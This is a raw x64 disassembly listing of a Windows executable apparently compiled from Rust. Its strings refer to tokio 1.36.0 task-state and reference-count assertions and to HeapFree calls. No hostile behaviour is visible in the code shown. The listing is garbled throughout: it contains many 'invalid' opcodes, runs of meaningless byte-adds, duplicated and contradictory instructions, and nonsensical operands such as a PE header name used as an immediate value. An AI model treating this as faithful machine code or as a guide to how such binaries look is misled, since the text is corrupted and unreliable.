mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea ecx, [rbx + 0xd0]
lea ecx, [rbx + 0xd0]
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
add byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.14006a550
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], 0
add byte [rax], al
add byte [rax], al
dec dword [rdi]
push rdi
ror byte [rdi], 0x11
invalid
add byte [rax], al
add byte [rax], al
mov byte [rsi + 0xa8], 3
xchg byte [rax + 0x3000000], ch
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006ae94
test eax, eax
jne 0x14006aeae
invalid
mov r8d, dword [0x140182314]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
invalid
add al, ch
jae case.0x14005cd83.38
invalid
add dh, al
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
invalid
mov eax, dword [0x140182314]
jp 0x14006af0c
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x11
mov al, pe_nt_image_headers64
add byte [rax], al
invalid
ror dword [rdi], 0x11
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call 0x14006b650
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
test al, 0
add byte [rax], al
test al, 0
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14006acc0
xorps xmm6, xmm6
test eax, eax
jne 0x14006acec
push rdi
test byte [rbp + 0x9850fc0], 0xfe
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
invalid
and byte [rcx], al
add byte [rax], al
add ecx, ebp
stosb byte [rdi], al
std
invalid
jmp 0x14006acc0
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14006adfb
invalid
invalid
invalid
xorps xmm6, xmm6
test eax, eax
jne 0x14006ae27
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
jae 0x14006af44
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
and byte [rcx], al
add byte [rax], al
add ecx, ebp
invalid
invalid
invalid
invalid
and byte [rcx], al
add byte [rax], al
add ecx, ebp
invalid
test eax, 0x65001173
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006afbd
xorps xmm6, xmm6
test eax, eax
jne 0x14006ac3f
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
invalid
invalid
invalid
add byte [rcx - 0x3a], al
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
jmp 0x14006ac3f
lea rcx, str.assertion_failed:_next.is_notified__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ddc8]
mov edx, 0x24
call fcn.140108350
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014e128]
mov edx, 0x26
call fcn.140108350
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x60]
call fcn.140108280
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14006b2a3
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14006b27e
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14006b23f
lea rcx, [rsi + 0x20]
call fcn.1400396d0
lea rcx, [rsi + 0x30]
call fcn.14006a550
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14006b25e
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
add ah, cl
add ah, cl
int3
sub rsp, 0x38
movaps xmmword [rsp + 0x20], xmm6
cmp byte [rdi], cl
sub dword [rsp + 0x20], esi
mov rsi, rcx
mov rax, qword [rcx]
nop word cs:[rax + rax]
mov rcx, rax
xor edx, edx
test cl, 3
sete dl
or rdx, rax
or rdx, 0x20
lock cmpxchg qword [rsi], rdx
jne 0x14006b370
test cl, 3
je 0x14006b406
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14006b637
invalid
xchg ebx, eax
add al, byte [rax]
invalid
xchg byte [rbx + 0x48000002], dl
and eax, 0xffffffc0
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14006b5dd
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x75], cl
and al, r14b
dec qword [rax]
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14006b3c5
lea rcx, [rsi + 0x20]
call fcn.1400396d0
lea rcx, [rsi + 0x30]
call fcn.14006a550
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14006b3e4
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
cmp byte [rbx + 0x5f], bl
cmp byte [rbx + 0x5f], bl
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006b45d
xorps xmm6, xmm6
test eax, eax
jne 0x14006b489
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14006a550
mov byte [rsi + 0xa8], 4
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006b4f0
test eax, eax
jne 0x14006b5ec
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006a550
mov qword [rsi + 0x30], 1
mov qword [rsi + 0x38], 0
mov qword [rsi + 0x48], rbx
mov byte [rsi + 0xa8], 3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006b5ad
test eax, eax
jne 0x14006b5c7
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
jmp 0x14006b650
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14006b50e
xorps xmm6, xmm6
test eax, eax
jne 0x14006b53a
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
jmp 0x14006b50e
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x14006b670
test al, 1
je 0x14006b85a
test al, 2
jne 0x14006b872
test al, 8
jne 0x14006b795
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006b6ed
xorps xmm6, xmm6
test eax, eax
jne 0x14006b719
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rdi
lea rcx, [rsi + 0x30]
call fcn.14006a550
mov byte [rsi + 0xa8], 4
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006b779
test eax, eax
jne 0x14006b7b3
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
jmp 0x14006b7b3
test al, 0x10
je 0x14006b7b3
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14006b8f6
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
add qword [r8], r8
add byte [rax - 0x75], cl
mov cs, eax
add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x73], cl
jle 0x14006b7d7
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x10]
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ea850
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x14006b88a
invalid
jne 0x14006b847
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x14006b802
mov rcx, rdi
call fcn.1400396d0
lea rcx, [rsi + 0x30]
call fcn.14006a550
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14006b821
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014de48]
mov edx, 0x23
call fcn.140108350
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014de88]
mov edx, 0x25
call fcn.140108350
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
add byte [rax - 0x39], cl
and al, 0x50
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x14014ded0]
lea rcx, [rsp + 0x30]
call fcn.140108280
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
ror byte [rdi], 0x11
and al, 0x48
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
and al, 0x30
call fcn.140108280
int3
mov dword [rsp + 0x20], 0
mov byte [rsp + 0x31], 0
lea r8, [0x1401414a0]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
call fcn.140016790
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x14006bd7b
mov al, 1
test dl, dl
jne 0x14006bd7d
mov rsi, qword [rsp + 0x28]
cmp rcx, 1
jne 0x14006bd40
cmp byte [rsp + 0x31], 0
je 0x14006bd40
test byte [rsi + 0x34], 4
jne 0x14006bd40
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x140143ec0]
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14006bd7d
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014d458]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x14006bd7d
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
mov eax, edx
test al, al
setne al
add rsp, 0x40
pop rsi
ret
mov eax, dword [rcx]
jmp 0x14006bdca
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
or ecx, 1
or ecx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x14006bdf5
test al, 4
je 0x14006c448
test al, 3
je 0x14006bdb0
cmp rax, 0x3f
jbe 0x14006c460
clc
invalid
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14006bdca
movzx eax, dl
lea rcx, [0x140177a5c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014e140]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0
add byte [rbx + 0xf0b307e], al
invalid
invalid
invalid
add byte [rax], al
add byte [rbx + 0xf0b307e], al
cmp dword [0x18806be43], 0xffffff8d
jle 0x14006be6f
lea rdi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
add eax, 0x1164cb
add eax, 0x1164cb
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006be97
xorps xmm6, xmm6
test eax, eax
jne 0x14006bec3
mov eax, dword [0x140182314]
add eax, 0x1164a5
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
xor al, 0xc1
xor al, 0xc1
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
mov ss, eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x78446
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
and byte [rcx], al
add byte [rax], al
invalid
add byte [rcx - 0x3a], al
xchg byte [rax], ah
and byte [rcx], al
add byte [rax], al
invalid
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0x11647705], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
add byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax], al
pop rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
mov rcx, rdi
call fcn.14006b990
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
invalid
je 0x14006bf25
add dword [rsi + rsi - 0x7b], esi
leave
test ecx, ecx
jne 0x14006bf41
mov r9, qword [0x140182314]
mov ecx, dword [0x140182314]
or eax, 0x11641b
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rcx*8]
xor al, 0xca
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x783bc
mov ebx, eax
call fcn.1400d4a00
add byte [rcx - 0x7939be28], cl
and byte [rcx], al
add byte [rax], al
invalid
add byte [rcx - 0x7939be28], cl
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0x1163e90d], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
mov cl, 1
test al, al
je 0x14006c15a
ror byte [rdi], 0x84
adc dword [rdx], eax
add byte [rax], al
mov rcx, rsi
call fcn.1400e6d10
movzx eax, al
mov dh, 0xc0
mov dh, 0xc0
lea rcx, [0x140177a6c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
add rcx, 0x10
mov rdx, rsi
mov r8b, 1
call fcn.1400ec5d0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
invalid
cmp rax, 0x3f
jbe 0x14006c4b0
invalid
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x14006bf62.0
lea rcx, [rsi + 0x20]
lea ecx, [rsi + 0x20]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14006bfad
call fcn.1400687d0
dec dword [rax - 0x77]
stc
mov rcx, rdi
jmp 0x14006bfc9
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14006bfc5
lea rcx, [rsi + 0x20]
call fcn.1400687d0
lea rcx, [rsi + 0x30]
call fcn.14006cba0
add byte [rax], al
mov rax, qword [rsi + 0x1f8]
test rax, rax
je 0x14006bfe4
mov rcx, qword [rsi + 0x200]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x14006bf62.0
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006c053
xorps xmm6, xmm6
test eax, eax
jne 0x14006c07f
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14006cba0
mov qword [rsi + 0x30], 0xc
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006c0e7
test eax, eax
jne 0x14006c31a
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006cba0
mov qword [rsi + 0x30], 0xb
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
mov qword [rsi + 0x50], rbx
jmp 0x14006c293
mov rbx, qword [rsi + 0x28]
cmp cl, 1
je 0x14006c19b
movzx eax, cl
xorps xmm6, xmm6
test eax, eax
jne 0x14006c1c7
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
add byte [rax], al
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.14006cba0
add byte [rax], al
mov qword [rdi], 0xc
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
invalid
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006c22a
test eax, eax
jne 0x14006c365
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x28]
mov ebx, dword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rax + 0xf8], rbx
mov rcx, rdi
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006cba0
mov qword [rsi + 0x30], 0xb
xorps xmm0, xmm0
movups xmmword [rsi + 0x38], xmm0
mov qword [rsi + 0x48], 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + 0x11607b05], cl
jnp 0x14006c2f7
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov eax, dword [0x140182314]
jnp 0x14006c2f7
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
ror dword [rdi], 0xb6
and byte [rax], 1
add byte [rax], al
cmp eax, 1
je 0x14006c2e3
test eax, eax
jne 0x14006c2fd
invalid
mov r8d, dword [0x140182314]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
invalid
add al, ch
and al, 0x87
invalid
add dh, al
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
ror dword [rdi], 0x11
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x77], cl
int1
adc dword [rax + 0xf0], esi
mov rcx, rsi
call fcn.14006cc90
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
and al, 0x90
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14006c105
xorps xmm6, xmm6
test eax, eax
jne 0x14006c131
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
jg 0x14006c359
add al, ch
test al, 0x86
invalid
mov byte [rsi + 0x120], 1
jmp 0x14006c105
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14006c248
invalid
invalid
invalid
xorps xmm6, xmm6
test eax, eax
jne 0x14006c274
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
xchg byte [rsi], al
add byte [rcx - 0x3a], al
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
xchg byte [rsi], al
add byte [rcx - 0x3a], al
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
jmp 0x14006c248
lea rcx, str.assertion_failed:_next.is_notified__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ddc8]
mov edx, 0x24
call fcn.140108350
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014e128]
mov edx, 0x26
call fcn.140108350
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x60]
call fcn.140108280
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
